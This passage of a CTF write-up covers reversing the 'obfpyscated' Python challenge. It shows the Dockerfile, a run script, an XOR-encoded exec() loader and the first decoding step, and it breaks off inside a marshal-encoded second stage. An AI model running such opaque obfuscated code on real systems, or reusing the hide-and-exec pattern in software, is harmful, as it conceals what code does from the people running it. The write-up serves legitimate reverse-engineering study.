Introduction

    The fourth and final challenge in the series was named “obfpyscated”, a title that already hinted at deliberate code obfuscation and an intentionally painful reversing experience. This was the last challenge I solved from the reversing track and it pushed the analysis beyond straightforward decompilation into progressively more behavior driven investigation.

    I participated in this challenge as part of the RITSEC CTF 2026 Jeopardy style competition, working within the same reversing track as the previous challenges in this series. At this point, after having already dealt with multiple layers of packed logic, custom encryption schemes and runtime generated behavior, I expected this challenge to focus less on clarity and more on hiding intent through structure rather than complexity alone.

    Out of all the challenges in the set, this one was, in my opinion, the most enjoyable. It struck a good balance between obfuscation and recoverable logic, making the reversing process feel challenging without becoming unnecessarily frustrating.

Challenge Overview

    The following description was provided as part of the challenge, along with a zip file named obfpyscated.zip:

“python is really easy to understand because it’s basically just pseudocode lol

dockerfile provided for your convenience”

Challenge Info

    After extracting it, three files were revealed: a Dockerfile, a run.sh script and a Python file named meow.py, which clearly appeared to be the core of the challenge.

    I started by examining each of these files to understand how the challenge was intended to be executed. The Dockerfile contained the following:

FROM python:3.10.2-slim

RUN pip install --no-cache-dir pycryptodome pillow

WORKDIR /run

COPY meow.py .

CMD [ "python3", "meow.py" ]

    This sets up a minimal Python environment, installs a couple of external libraries (pycryptodome and pillow) and runs meow.py as the entry point.

    The run.sh script was a simple wrapper to build and execute the container:

#!/bin/sh
docker build -t obfpyscated .
docker run --rm -it obfpyscated

    This confirmed that the intended interaction model was through Docker, ensuring a controlled and reproducible environment.

    Finally, I moved on to the main challenge file, meow.py, which contained the following:

exec(''.join(chr(_^2)for _ in b']?nco`fc829]]?]]kormpv]]*%%,hmkl*ajp*k\\6:+dmp"k"kl"`%_S@AZS^^%++,nmcfq*`%%,hmkl**k\\05+,vm]`{vgq*3.%%,hmkl*ajp*k\\4;+"dmp"k"kl"`%^%. %++dmp"k"kl"`%z^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z33^z3`^z3`^z3`^z3f^z3`^z3`^z3`Z^z3`^z3`^z3`^zg:3^z3c^z3`^z3`^z5d^z3c^z5d^z3`u^z3`d^z3`^z5d^z3c^z5d^z3`u^z3cd^z3c^z5d^z3c^z5d^z3;u^z3;t^z3:d^z3;^z3c^z3`^z5d^z3c^z5d^z3`u^z3dd^z3:e^z3c^z``^z3g^z`c^z3`s^z3fe^z3`^z``^z3`e^z3`s^z3ae^z3`s^z31^z`c^z3;^z5d^z3:^z``^z30^z5d^z3d^z5d^z3g^z;d^z3`^z5d^z3f]^z3`^z;:^z3c^z`c^z3c^z5d^z3a^z;4^z3;d^z3de^z3d^z``^z33^z5d^z3:^z``^z30^z5d^z31^z5d^z3g^z;d^z3`^z5d^z30]^z3`^z;:^z3c^z`c^z3c^z5d^z33\x7f^z3;^z`c^z3c^z3c^z3`e^z3d^z``^z32^z5d^z32^z``^z30^z5d^z35^z5d^z3g^z;d^z3`^z5d^z34]^z3`^z;:^z3c^z`c^z3c^z`c^z3c^z3c^z3`^z5d^z32d^z3g^z30^z3`e^z3d^z``^z35^z5d^z36^z`c^z3cd^z3fe^z3fjIw^z3ge^z3ge^z3f.^z3`d^z3ghQe^z3d^z``^z34^z`c^z3`^z3c^z3`e^z3ge^z3g^z``^z37^z5d^z2`^z`c^z3c^z5d^l^d^z3`^z5d^z3`^z;g^z3;^z20^z3`d^z3ge^z3;s^z36^z5d^z32^z``^z30^z5d^v^z5d^z3g^z;d^z3`^z5d^`]^z3`^z;:^z3c^z`c^z3c^z5d^z2de^z3g^z5d^z2g^z5d^z3`^z;g^z3;^z20^z3`^z5d^p^z;4^z3:^z``^z2`e^z3g^z5d^z3`^z5d^d^z;g^z3;^z20^z3`e^z3g^z5d^d^z5d^z2g^z;g^z3;^z20^z3`^z`c^z3;d^z3ae^z3:^z``^le^z3a^z`c^z3cd^z31^z5d^z21^z5d^z20^z;d^z3`d^z30e^z31e^z30F^ve^z30^z;:^z3`^z3c^z3`^z5d^z3`J^z3`0^z23W^zd0^z3`^z3`^z3`^z3`^z`0^z3c^za3^z3:X\\J^za3^z3`z^z3c^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3;^z3`^z3`^z3`^z3d^z3`^z3`^z3`j^z3`^z3`^z3`^zg:^z25^z3`^z3`^z3`^z;c^z3`e^z3`D^z30d^z3cm^z3`e^z3c^z5d^z3`X^z3`^z;:^z3cO^z3`^z3c^z3`h^z3;^z5d^z3cJ^z3`0^z3;^zd03^z3`^z3`^z3`W^z`0^z3c^za3^z3:zqk^z`0^z3;^za3^z3;7)^za3^z3cp^z`0^z3`k^z35^z3`^z3`^z3`^zg3^z31^%tv^z5dlu|\'^za3^z3c\x7f^z31^z3`^z3`^z3`^zg:^z3d^z3`^z3`^z3`^z3;^z;`^z23^z3`^zg3^dt|vn7^%uvzxuj\'7^%~|w|aik\'^zg:^z36^z3`^z3`^z3`^^V\\D^z3d@J_EZV^z3dUJZ^z`0^z3c^za3^z36j|ko|kFqvjmwxt|z^z3c^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3;^z3`^z3`^z3`^z3d^z3`^z3`^z3`j^z3`^z3`^z3`k^z3g^z3`^z3`^z3`0^z3;^zd0^z34^z3`^z3`^z3`Wk^z3a^z3`^z3`^z3`k^z30^z3`^z3`^z3`k^z35^z3`^z3`^z3`k^z35^z3`^z3`^z3`k^z34^z3`^z3`^z3`k^z37^z3`^z3`^z3`^z30^z3`^z3`^z3`k^z36^z3`^z3`^z3`^zg:^z36^z3`^z3`^z3`yq{c:gmxb^z5dq:rm^z5d^zd0^zc2^z3c^z3`^z3`^zg:^z3`^z3`^z3`^z3`z^z3c^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3;^z3`^z3`^z3`^z31^z3`^z3`^z3`j^z3`^z3`^z3`^zg:)^z3`^z3`^z3`^z;c^z3`e^z3`D^`d^z3ce^z3c^z5d^z3`X^z3`^z``^z3`^z5d^z3c^z5d^z3;^z``^z3c^z5d^z3:^z5d^z3d^z;d^z3`^z5d^z3g]^z3`^z;:^z3c^z`c^z3c^z`c^z3;O^z3`^z3c^z3`h^z3;^z5d^z3fJ^z3`0^z3a^zd0M^z3`^z3`^z3`^zd0^z3c^z3`^z3`^z3`k^z3d^z3`^z3`^z3`z^z3c^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3;^z3`^z3`^z3`^z3d^z3`^z3`^z3`j^z3`^z3`^z3`k^z3g^z3`^z3`^z3`0^z3;^zd0\\^z3`^z3`^z3`Wk^z3a^z3`^z3`^z3`k^z30^z3`^z3`^z3`k^z35^z3`^z3`^z3`k^z35^z3`^z3`^z3`k^z34^z3`^z3`^z3`k^z37^z3`^z3`^z3`^z33^z3`^z3`^z3`k^z36^z3`^z3`^z3`^zg38t|vn7^%uvzxuj\'7^%~|w|aik\'7^%~|w|aik\'^zg:^z3:^z3`^z3`^z3`>5;W^z`0^z3;^za3^z31mvF{`m|j^za3^z3dsvpwk^z30^z3`^z3`^z3`k^z35^z3`^z3`^z3`k^z35^z3`^z3`^z3`k^z34^z3`^z3`^z3`k^z37^z3`^z3`^z3`^z33^z3`^z3`^z3`^zg:^z3d^z3`^z3`^z3`^z3;^z;`7^z3`^zg:O^z3`^z3`^z3`^`^l^z3`mb>9,9$.b>8>=$.$"8>^z32, "#*^z328>m^z25^z3`^z3`^z3db|c|@G^z25">9wm (":c>4!;$(c+4$@G^d"##(.9$"#wm.!">(@G@GM^zd0^z3`^z2`^z3`^z3`^zg:^z3d^z3`^z3`^z3`^z34^z33^z34^z33^zd0^z3d^z3`^z3`^z3`z^z3c^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3;^z3`^z3`^z3`^z31^z3`^z3`^z3`j^z3`^z3`^z3`k^z21^z3`^z3`^z3`0^z3a^zd0.^z3`^z3`^z3`k^z23^z3`^z3`^z3`k^z3d^z3`^z3`^z3`z^z3c^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3;^z3`^z3`^z3`^z3d^z3`^z3`^z3`j^z3`^z3`^z3`k^z3g^z3`^z3`^z3`0^z3;k^2^z3`^z3`^z3`Wk^z3a^z3`^z3`^z3`k^z30^z3`^z3`^z3`k^z35^z3`^z3`^z3`k^z35^z3`^z3`^z3`k^z34^z3`^z3`^z3`k^z37^z3`^z3`^z3`^`^z3`^z3`^z3`k^z36^z3`^z3`^z3`k^z25^z3`^z3`^z3`k^z24^z3`^z3`^z3`Wk^z27^z3`^z3`^z3`k^z30^z3`^z3`^z3`k^z35^z3`^z3`^z3`k^z35^z3`^z3`^z3`k^z34^z3`^z3`^z3`k^z37^z3`^z3`^z3`^`^z3`^z3`^z3`k8^z3`^z3`^z3`^zg:9^z3`^z3`^z3`-$^zg0^zf4^z;a^za0j"I^z`7,^z3;^zc0^zd1^z5d@x^zg0^zd1/U^zg1=!^z3cl^z;3R^d^za4^za1^zd0^zd0^z32^z3`^z3`^z3`^zd0^zg`^zg6^zg6^zg6^z`0^z3c^za3^z3gwvwz|^zd0^zd`^zg6^zg6^zg6z^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3c^z3`^z3`^z3`J^z3`^z3`^z3`^zg:^z3d^z3`^z3`^z3`^z5d^z3`J^z3`0^z3cWk^z35^z3`^z3`^z3`k^z35^z3`^z3`^z3`k^z35^z3`^z3`^z3`k^z35^z3`^z3`^z3`k^z34^z3`^z3`^z3`k^z37^z3`^z3`^z3`^z2g^z3`^z3`^z3`^zg:^z3;^z3`^z3`^z3`^z3d^z3`^zg3^z2gt|vn7^%uvzxuj\'7FFFFFFF^z`0^`^za3^z3fjvzr|m^za3^z3:jju^za3^z34Zk`imv7Zpiq|kk^z3:^z3`^z3`^z3`^za3^z3atxkjqxu^za3^pzk|xm|F^z5d|\x7fxlumFzvwm|am^za3^z32nkxiFjvzr|m^za3^z3aX_FPW\\M^za3^z32JVZRFJMK\\XTk9^z3`^z3`^z3`^za3^z3azvww|zm^za3^z3aj|w^z5dxuu^za3^z3dk|zo^za3^z3gzuvj|^za3^z3gpw^z5d|a^za3^z3:w|n^za3^v^z5d|zk`imFxw^z5dFo|kp\x7f`^za3^z3guvx^z5dj^za3^z31FFzv^z5d|FF^z`0^z33k(^z3`^z3`^z3`k+^z3`^z3`^z3`k^z3:^z3`^z3`^z3`k-^z3`^z3`^z3`^za3^z3cF^za3^z3:FFF^za3^z3;FF^za3^z3gFFFFF^za3^z3fFFFFFF^za3^z3aFFFFFFFk^z35^z3`^z3`^z3`k^z35^z3`^z3`^z3`k^z34^z3`^z3`^z3`k^z37^z3`^z3`^z3`^z3:^z3`^z3`^z3`^zg:3^z3`^z3`^z3`^z31^z3c^z31^z3c^z35^z3c^z31^z3c7^z3c^z27^z3c^z23^z3c^z3d^z3c^z3;^z3c^z33^z3c^z3d^z3c^z3;^z3c^z31^z3c^z3;^zg5^z31^z3g^p^z3cY^z3c^z33^z3c^z31^z3c^z3f^z3c^z33^z3c%++9],]]amfg]]?]]9]*+'))

    Even at a glance, this is a classic obfuscation pattern. The script takes a byte string, XORs each byte with 2, converts the result to characters, joins them into a string and immediately executes it. This means that the real logic of the program is hidden behind this transformation and is only revealed at runtime. It was clear that the first step would be to recover the deobfuscated Python code before proceeding with further analysis.

Deobfuscation

    At this point, the focus shifted to peeling back the layers of obfuscation. Initially, I attempted to perform the deobfuscation directly on my system, which quickly proved ineffective. My scripts either failed silently or produced outputs that were clearly not meaningful.

    Given that the challenge explicitly provided a Dockerfile, this behavior was a strong indication that the intended execution environment mattered. This assumption was further reinforced after noticing similar difficulties being discussed in the Discord channel, where another participant encountered the same issue. A helpful hint pointed out that the containerized setup was not optional, but rather a necessary part of the challenge.

Forehead Slap image meme

    After switching to running everything inside the provided Docker environment, the behavior became consistent and the outputs started making sense. From that point onward, the analysis proceeded as expected.

Deobfuscating Stage 1

    To safely inspect the decoded content, the payload was extracted and processed separately using the following small helper script:

data = b']?nco`fc829]]?]]kormpv]]*%%,hmkl*ajp*k\\6:+dmp"k"kl"`%_S@AZS^^%++,nmcfq*`%%,hmkl**k\\05+,vm]`{vgq*3.%%,hmkl*ajp*k\\4;+"dmp"k"kl"`%^%. %++dmp"k"kl"`%z^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z33^z3`^z3`^z3`^z3f^z3`^z3`^z3`Z^z3`^z3`^z3`^zg:3^z3c^z3`^z3`^z5d^z3c^z5d^z3`u^z3`d^z3`^z5d^z3c^z5d^z3`u^z3cd^z3c^z5d^z3c^z5d^z3;u^z3;t^z3:d^z3;^z3c^z3`^z5d^z3c^z5d^z3`u^z3dd^z3:e^z3c^z``^z3g^z`c^z3`s^z3fe^z3`^z``^z3`e^z3`s^z3ae^z3`s^z31^z`c^z3;^z5d^z3:^z``^z30^z5d^z3d^z5d^z3g^z;d^z3`^z5d^z3f]^z3`^z;:^z3c^z`c^z3c^z5d^z3a^z;4^z3;d^z3de^z3d^z``^z33^z5d^z3:^z``^z30^z5d^z31^z5d^z3g^z;d^z3`^z5d^z30]^z3`^z;:^z3c^z`c^z3c^z5d^z33\x7f^z3;^z`c^z3c^z3c^z3`e^z3d^z``^z32^z5d^z32^z``^z30^z5d^z35^z5d^z3g^z;d^z3`^z5d^z34]^z3`^z;:^z3c^z`c^z3c^z`c^z3c^z3c^z3`^z5d^z32d^z3g^z30^z3`e^z3d^z``^z35^z5d^z36^z`c^z3cd^z3fe^z3fjIw^z3ge^z3ge^z3f.^z3`d^z3ghQe^z3d^z``^z34^z`c^z3`^z3c^z3`e^z3ge^z3g^z``^z37^z5d^z2`^z`c^z3c^z5d^l^d^z3`^z5d^z3`^z;g^z3;^z20^z3`d^z3ge^z3;s^z36^z5d^z32^z``^z30^z5d^v^z5d^z3g^z;d^z3`^z5d^`]^z3`^z;:^z3c^z`c^z3c^z5d^z2de^z3g^z5d^z2g^z5d^z3`^z;g^z3;^z20^z3`^z5d^p^z;4^z3:^z``^z2`e^z3g^z5d^z3`^z5d^d^z;g^z3;^z20^z3`e^z3g^z5d^d^z5d^z2g^z;g^z3;^z20^z3`^z`c^z3;d^z3ae^z3:^z``^le^z3a^z`c^z3cd^z31^z5d^z21^z5d^z20^z;d^z3`d^z30e^z31e^z30F^ve^z30^z;:^z3`^z3c^z3`^z5d^z3`J^z3`0^z23W^zd0^z3`^z3`^z3`^z3`^z`0^z3c^za3^z3:X\\J^za3^z3`z^z3c^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3;^z3`^z3`^z3`^z3d^z3`^z3`^z3`j^z3`^z3`^z3`^zg:^z25^z3`^z3`^z3`^z;c^z3`e^z3`D^z30d^z3cm^z3`e^z3c^z5d^z3`X^z3`^z;:^z3cO^z3`^z3c^z3`h^z3;^z5d^z3cJ^z3`0^z3;^zd03^z3`^z3`^z3`W^z`0^z3c^za3^z3:zqk^z`0^z3;^za3^z3;7)^za3^z3cp^z`0^z3`k^z35^z3`^z3`^z3`^zg3^z31^%tv^z5dlu|\'^za3^z3c\x7f^z31^z3`^z3`^z3`^zg:^z3d^z3`^z3`^z3`^z3;^z;`^z23^z3`^zg3^dt|vn7^%uvzxuj\'7^%~|w|aik\'^zg:^z36^z3`^z3`^z3`^^V\\D^z3d@J_EZV^z3dUJZ^z`0^z3c^za3^z36j|ko|kFqvjmwxt|z^z3c^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3;^z3`^z3`^z3`^z3d^z3`^z3`^z3`j^z3`^z3`^z3`k^z3g^z3`^z3`^z3`0^z3;^zd0^z34^z3`^z3`^z3`Wk^z3a^z3`^z3`^z3`k^z30^z3`^z3`^z3`k^z35^z3`^z3`^z3`k^z35^z3`^z3`^z3`k^z34^z3`^z3`^z3`k^z37^z3`^z3`^z3`^z30^z3`^z3`^z3`k^z36^z3`^z3`^z3`^zg:^z36^z3`^z3`^z3`yq{c:gmxb^z5dq:rm^z5d^zd0^zc2^z3c^z3`^z3`^zg:^z3`^z3`^z3`^z3`z^z3c^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3;^z3`^z3`^z3`^z31^z3`^z3`^z3`j^z3`^z3`^z3`^zg:)^z3`^z3`^z3`^z;c^z3`e^z3`D^`d^z3ce^z3c^z5d^z3`X^z3`^z``^z3`^z5d^z3c^z5d^z3;^z``^z3c^z5d^z3:^z5d^z3d^z;d^z3`^z5d^z3g]^z3`^z;:^z3c^z`c^z3c^z`c^z3;O^z3`^z3c^z3`h^z3;^z5d^z3fJ^z3`0^z3a^zd0M^z3`^z3`^z3`^zd0^z3c^z3`^z3`^z3`k^z3d^z3`^z3`^z3`z^z3c^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3;^z3`^z3`^z3`^z3d^z3`^z3`^z3`j^z3`^z3`^z3`k^z3g^z3`^z3`^z3`0^z3;^zd0\\^z3`^z3`^z3`Wk^z3a^z3`^z3`^z3`k^z30^z3`^z3`^z3`k^z35^z3`^z3`^z3`k^z35^z3`^z3`^z3`k^z34^z3`^z3`^z3`k^z37^z3`^z3`^z3`^z33^z3`^z3`^z3`k^z36^z3`^z3`^z3`^zg38t|vn7^%uvzxuj\'7^%~|w|aik\'7^%~|w|aik\'^zg:^z3:^z3`^z3`^z3`>5;W^z`0^z3;^za3^z31mvF{`m|j^za3^z3dsvpwk^z30^z3`^z3`^z3`k^z35^z3`^z3`^z3`k^z35^z3`^z3`^z3`k^z34^z3`^z3`^z3`k^z37^z3`^z3`^z3`^z33^z3`^z3`^z3`^zg:^z3d^z3`^z3`^z3`^z3;^z;`7^z3`^zg:O^z3`^z3`^z3`^`^l^z3`mb>9,9$.b>8>=$.$"8>^z32, "#*^z328>m^z25^z3`^z3`^z3db|c|@G^z25">9wm (":c>4!;$(c+4$@G^d"##(.9$"#wm.!">(@G@GM^zd0^z3`^z2`^z3`^z3`^zg:^z3d^z3`^z3`^z3`^z34^z33^z34^z33^zd0^z3d^z3`^z3`^z3`z^z3c^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3;^z3`^z3`^z3`^z31^z3`^z3`^z3`j^z3`^z3`^z3`k^z21^z3`^z3`^z3`0^z3a^zd0.^z3`^z3`^z3`k^z23^z3`^z3`^z3`k^z3d^z3`^z3`^z3`z^z3c^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3;^z3`^z3`^z3`^z3d^z3`^z3`^z3`j^z3`^z3`^z3`k^z3g^z3`^z3`^z3`0^z3;k^2^z3`^z3`^z3`Wk^z3a^z3`^z3`^z3`k^z30^z3`^z3`^z3`k^z35^z3`^z3`^z3`k^z35^z3`^z3`^z3`k^z34^z3`^z3`^z3`k^z37^z3`^z3`^z3`^`^z3`^z3`^z3`k^z36^z3`^z3`^z3`k^z25^z3`^z3`^z3`k^z24^z3`^z3`^z3`Wk^z27^z3`^z3`^z3`k^z30^z3`^z3`^z3`k^z35^z3`^z3`^z3`k^z35^z3`^z3`^z3`k^z34^z3`^z3`^z3`k^z37^z3`^z3`^z3`^`^z3`^z3`^z3`k8^z3`^z3`^z3`^zg:9^z3`^z3`^z3`-$^zg0^zf4^z;a^za0j"I^z`7,^z3;^zc0^zd1^z5d@x^zg0^zd1/U^zg1=!^z3cl^z;3R^d^za4^za1^zd0^zd0^z32^z3`^z3`^z3`^zd0^zg`^zg6^zg6^zg6^z`0^z3c^za3^z3gwvwz|^zd0^zd`^zg6^zg6^zg6z^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3`^z3c^z3`^z3`^z3`J^z3`^z3`^z3`^zg:^z3d^z3`^z3`^z3`^z5d^z3`J^z3`0^z3cWk^z35^z3`^z3`^z3`k^z35^z3`^z3`^z3`k^z35^z3`^z3`^z3`k^z35^z3`^z3`^z3`k^z34^z3`^z3`^z3`k^z37^z3`^z3`^z3`^z2g^z3`^z3`^z3`^zg:^z3;^z3`^z3`^z3`^z3d^z3`^zg3^z2gt|vn7^%uvzxuj\'7FFFFFFF^z`0^`^za3^z3fjvzr|m^za3^z3:jju^za3^z34Zk`imv7Zpiq|kk^z3:^z3`^z3`^z3`^za3^z3atxkjqxu^za3^pzk|xm|F^z5d|\x7fxlumFzvwm|am^za3^z32nkxiFjvzr|m^za3^z3aX_FPW\\M^za3^z32JVZRFJMK\\XTk9^z3`^z3`^z3`^za3^z3azvww|zm^za3^z3aj|w^z5dxuu^za3^z3dk|zo^za3^z3gzuvj|^za3^z3gpw^z5d|a^za3^z3:w|n^za3^v^z5d|zk`imFxw^z5dFo|kp\x7f`^za3^z3guvx^z5dj^za3^z31FFzv^z5d|FF^z`0^z33k(^z3`^z3`^z3`k+^z3`^z3`^z3`k^z3:^z3`^z3`^z3`k-^z3`^z3`^z3`^za3^z3cF^za3^z3:FFF^za3^z3;FF^za3^z3gFFFFF^za3^z3fFFFFFF^za3^z3aFFFFFFFk^z35^z3`^z3`^z3`k^z35^z3`^z3`^z3`k^z34^z3`^z3`^z3`k^z37^z3`^z3`^z3`^z3:^z3`^z3`^z3`^zg:3^z3`^z3`^z3`^z31^z3c^z31^z3c^z35^z3c^z31^z3c7^z3c^z27^z3c^z23^z3c^z3d^z3c^z3;^z3c^z33^z3c^z3d^z3c^z3;^z3c^z31^z3c^z3;^zg5^z31^z3g^p^z3cY^z3c^z33^z3c^z31^z3c^z3f^z3c^z33^z3c%++9],]]amfg]]?]]9]*+'

decoded = ''.join(chr(b ^ 2) for b in data)

print(decoded)

    The decoded output makes it clear that the obfuscation doesn’t immediately reveal a clean marshal.loads call. Instead, everything is wrapped in a few extra layers of indirection:

_=lambda:0;__=__import__(''.join(chr(i^48)for i in b']QBCXQ\\')).loads(b''.join((i^27).to_bytes(1,''.join(chr(i^69) for i in b'\',"'))for i in b'x\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x11\x1b\x1b\x1b\x1d\x1b\x1b\x1bX\x1b\x1b\x1b\xe81\x1a\x1b\x1b\x7f\x1a\x7f\x1bw\x1bf\x1b\x7f\x1a\x7f\x1bw\x1af\x1a\x7f\x1a\x7f\x19w\x19v\x18f\x19\x1a\x1b\x7f\x1a\x7f\x1bw\x1ff\x18g\x1a\xbb\x1e\xba\x1bq\x1dg\x1b\xbb\x1bg\x1bq\x1cg\x1bq\x13\xba\x19\x7f\x18\xbb\x12\x7f\x1f\x7f\x1e\x9f\x1b\x7f\x1d_\x1b\x98\x1a\xba\x1a\x7f\x1c\x96\x19f\x1fg\x1f\xbb\x11\x7f\x18\xbb\x12\x7f\x13\x7f\x1e\x9f\x1b\x7f\x12_\x1b\x98\x1a\xba\x1a\x7f\x11}\x19\xba\x1a\x1a\x1bg\x1f\xbb\x10\x7f\x10\xbb\x12\x7f\x17\x7f\x1e\x9f\x1b\x7f\x16_\x1b\x98\x1a\xba\x1a\xba\x1a\x1a\x1b\x7f\x10f\x1e\x12\x1bg\x1f\xbb\x17\x7f\x14\xba\x1af\x1dg\x1dhKu\x1eg\x1eg\x1d,\x1bf\x1ejSg\x1f\xbb\x16\xba\x1b\x1a\x1bg\x1eg\x1e\xbb\x15\x7f\x0b\xba\x1a\x7f\n\f\x1b\x7f\x1b\x9e\x19\x02\x1bf\x1eg\x19q\x14\x7f\x10\xbb\x12\x7f\t\x7f\x1e\x9f\x1b\x7f\b_\x1b\x98\x1a\xba\x1a\x7f\x0fg\x1e\x7f\x0e\x7f\x1b\x9e\x19\x02\x1b\x7f\r\x96\x18\xbb\x0bg\x1e\x7f\x1b\x7f\f\x9e\x19\x02\x1bg\x1e\x7f\f\x7f\x0e\x9e\x19\x02\x1b\xba\x19f\x1cg\x18\xbb\ng\x1c\xba\x1af\x13\x7f\x03\x7f\x02\x9f\x1bf\x12g\x13g\x12D\tg\x12\x98\x1b\x1a\x1b\x7f\x1bH\x1b2\x01U\xf2\x1b\x1b\x1b\x1b\xb2\x1a\xc1\x18Z^H\xc1\x1bx\x1a\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x19\x1b\x1b\x1b\x1f\x1b\x1b\x1bh\x1b\x1b\x1b\xe8\x07\x1b\x1b\x1b\x9a\x1bg\x1bF\x12f\x1ao\x1bg\x1a\x7f\x1bZ\x1b\x98\x1aM\x1b\x1a\x1bj\x19\x7f\x1aH\x1b2\x19\xf21\x1b\x1b\x1bU\xb2\x1a\xc1\x18xsi\xb2\x19\xc1\x195+\xc1\x1ar\xb2\x1bi\x17\x1b\x1b\x1b\xe1\x13\'vt\x7fnw~%\xc1\x1a}\x13\x1b\x1b\x1b\xe8\x1f\x1b\x1b\x1b\x19\x9b\x01\x1b\xe1\fv~tl5\'wtxzwh%5\'|~u~cki%\xe8\x14\x1b\x1b\x1b\\T^F\x1fBH]GXT\x1fWHX\xb2\x1a\xc1\x14h~im~iDsthouzv~x\x1a\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x19\x1b\x1b\x1b\x1f\x1b\x1b\x1bh\x1b\x1b\x1bi\x1e\x1b\x1b\x1b2\x19\xf2\x16\x1b\x1b\x1bUi\x1c\x1b\x1b\x1bi\x12\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x16\x1b\x1b\x1bi\x15\x1b\x1b\x1b\x12\x1b\x1b\x1bi\x14\x1b\x1b\x1b\xe8\x14\x1b\x1b\x1b{sya8eoz`\x7fs8po\x7f\xf2\xa0\x1a\x1b\x1b\xe8\x1b\x1b\x1b\x1bx\x1a\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x19\x1b\x1b\x1b\x13\x1b\x1b\x1bh\x1b\x1b\x1b\xe8+\x1b\x1b\x1b\x9a\x1bg\x1bF\bf\x1ag\x1a\x7f\x1bZ\x1b\xbb\x1b\x7f\x1a\x7f\x19\xbb\x1a\x7f\x18\x7f\x1f\x9f\x1b\x7f\x1e_\x1b\x98\x1a\xba\x1a\xba\x19M\x1b\x1a\x1bj\x19\x7f\x1dH\x1b2\x1c\xf2O\x1b\x1b\x1b\xf2\x1a\x1b\x1b\x1bi\x1f\x1b\x1b\x1bx\x1a\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x19\x1b\x1b\x1b\x1f\x1b\x1b\x1bh\x1b\x1b\x1bi\x1e\x1b\x1b\x1b2\x19\xf2^\x1b\x1b\x1bUi\x1c\x1b\x1b\x1bi\x12\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x16\x1b\x1b\x1bi\x15\x1b\x1b\x1b\x11\x1b\x1b\x1bi\x14\x1b\x1b\x1b\xe1:v~tl5\'wtxzwh%5\'|~u~cki%5\'|~u~cki%\xe8\x18\x1b\x1b\x1b<79U\xb2\x19\xc1\x13otDybo~h\xc1\x1fqtrui\x12\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x16\x1b\x1b\x1bi\x15\x1b\x1b\x1b\x11\x1b\x1b\x1b\xe8\x1f\x1b\x1b\x1b\x19\x9b5\x1b\xe8M\x1b\x1b\x1b\b\n\x1bo`<;.;&,`<:<?&,& :<\x10." !(\x10:<o\x07\x1b\x1b\x1f`~a~BE\x07 <;uo"* 8a<6#9&*a)6&BE\f !!*,;& !uo,# <*BEBEO\xf2\x1b\x0b\x1b\x1b\xe8\x1f\x1b\x1b\x1b\x16\x11\x16\x11\xf2\x1f\x1b\x1b\x1bx\x1a\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x19\x1b\x1b\x1b\x13\x1b\x1b\x1bh\x1b\x1b\x1bi\x03\x1b\x1b\x1b2\x1c\xf2,\x1b\x1b\x1bi\x01\x1b\x1b\x1bi\x1f\x1b\x1b\x1bx\x1a\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x1b\x19\x1b\x1b\x1b\x1f\x1b\x1b\x1bh\x1b\x1b\x1bi\x1e\x1b\x1b\x1b2\x19i\0\x1b\x1b\x1bUi\x1c\x1b\x1b\x1bi\x12\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x16\x1b\x1b\x1bi\x15\x1b\x1b\x1b\b\x1b\x1b\x1bi\x14\x1b\x1b\x1bi\x07\x1b\x1b\x1bi\x06\x1b\x1b\x1bUi\x05\x1b\x1b\x1bi\x12\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x17\x1b\x1b\x1bi\x16\x1b\x1b\x1bi\x15\x1b\x1b\x1b\b\x1b\x1b\x1bi:\x1b\x1b\x1b\xe8;\x1b\x1b\x1b/&\xe2\xd6\x9c\xc2h 